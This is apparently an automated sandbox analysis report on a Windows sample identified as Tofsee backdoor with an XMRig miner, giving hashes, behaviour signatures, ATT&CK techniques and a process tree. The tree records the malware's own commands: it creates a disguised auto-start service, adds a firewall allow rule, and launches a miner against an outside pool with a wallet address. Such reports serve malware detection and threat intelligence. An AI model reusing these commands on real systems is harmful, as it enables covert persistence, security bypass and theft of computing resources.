Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    10-03-2021 17:04

General

  • Target

    otdysebd.exe

  • Size

    13.2MB

  • MD5

    d76e05043d64bf66c8b6a43f3bb0c3a6

  • SHA1

    aa49363192ed4193bca7288208309fcecdccf96d

  • SHA256

    fb47837ab6258ecec5ee4c3bc7a193f026ce1a39ca6b490cc8990b36e7d3e802

  • SHA512

    0e9064934779bafce379484d8c00c538c1e61a030f0dce913b4d6e46b40d9e22ce30a43e9764fe5db32c64f9d5a61827ea8047555dd74a6f8f442a77fb2e52fc

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\otdysebd.exe
    "C:\Users\Admin\AppData\Local\Temp\otdysebd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lduojpuf\
      2⤵
        PID:880
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xxyjefdl.exe" C:\Windows\SysWOW64\lduojpuf\
        2⤵
          PID:1372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lduojpuf binPath= "C:\Windows\SysWOW64\lduojpuf\xxyjefdl.exe /d\"C:\Users\Admin\AppData\Local\Temp\otdysebd.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1272
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description lduojpuf "wifi internet conection"
            2⤵
              PID:436
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start lduojpuf
              2⤵
                PID:1580
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1532
              • C:\Windows\SysWOW64\lduojpuf\xxyjefdl.exe
                C:\Windows\SysWOW64\lduojpuf\xxyjefdl.exe /d"C:\Users\Admin\AppData\Local\Temp\otdysebd.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:916
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1028
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:736

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\xxyjefdl.exe
                MD5

                8ed6b41547fc247ab5c7f6b73bee52c3

                SHA1

                932177eb8e8d146d1487c90f41b39186416d937b

                SHA256

                9f70070b25a3cfa2bd695aabc8221b784c3833bf5e822e2ccc3f3c95cb209862

                SHA512

                81ceb95a807df7694b1039e0b3a634c69469b2c6d683851281c673bda5dd50635f639637c28f7b3f290eb96c1073231b0d4ce86ca2b9acf99014ec03500cbb15

              • C:\Windows\SysWOW64\lduojpuf\xxyjefdl.exe
                MD5

                8ed6b41547fc247ab5c7f6b73bee52c3

                SHA1

                932177eb8e8d146d1487c90f41b39186416d937b

                SHA256

                9f70070b25a3cfa2bd695aabc8221b784c3833bf5e822e2ccc3f3c95cb209862

                SHA512

                81ceb95a807df7694b1039e0b3a634c69469b2c6d683851281c673bda5dd50635f639637c28f7b3f290eb96c1073231b0d4ce86ca2b9acf99014ec03500cbb15

              • memory/436-10-0x0000000000000000-mapping.dmp
              • memory/736-28-0x000000000021259C-mapping.dmp
              • memory/736-26-0x0000000000180000-0x0000000000271000-memory.dmp
                Filesize

                964KB

              • memory/880-4-0x0000000000000000-mapping.dmp
              • memory/916-21-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/916-15-0x0000000002E10000-0x0000000002E21000-memory.dmp
                Filesize

                68KB

              • memory/1028-22-0x00000000000D0000-0x00000000000E5000-memory.dmp
                Filesize

                84KB

              • memory/1028-25-0x0000000000200000-0x0000000000210000-memory.dmp
                Filesize

                64KB

              • memory/1028-24-0x0000000000080000-0x0000000000086000-memory.dmp
                Filesize

                24KB

              • memory/1028-23-0x0000000001C90000-0x0000000001E9F000-memory.dmp
                Filesize

                2.1MB

              • memory/1028-17-0x00000000000D0000-0x00000000000E5000-memory.dmp
                Filesize

                84KB

              • memory/1028-18-0x00000000000D9A6B-mapping.dmp
              • memory/1272-9-0x0000000000000000-mapping.dmp
              • memory/1372-7-0x0000000000000000-mapping.dmp
              • memory/1532-13-0x0000000000000000-mapping.dmp
              • memory/1580-11-0x0000000000000000-mapping.dmp
              • memory/1724-2-0x0000000002DD0000-0x0000000002DE1000-memory.dmp
                Filesize

                68KB

              • memory/1724-6-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/1724-5-0x0000000000020000-0x0000000000033000-memory.dmp
                Filesize

                76KB

              • memory/1724-3-0x00000000761E1000-0x00000000761E3000-memory.dmp
                Filesize

                8KB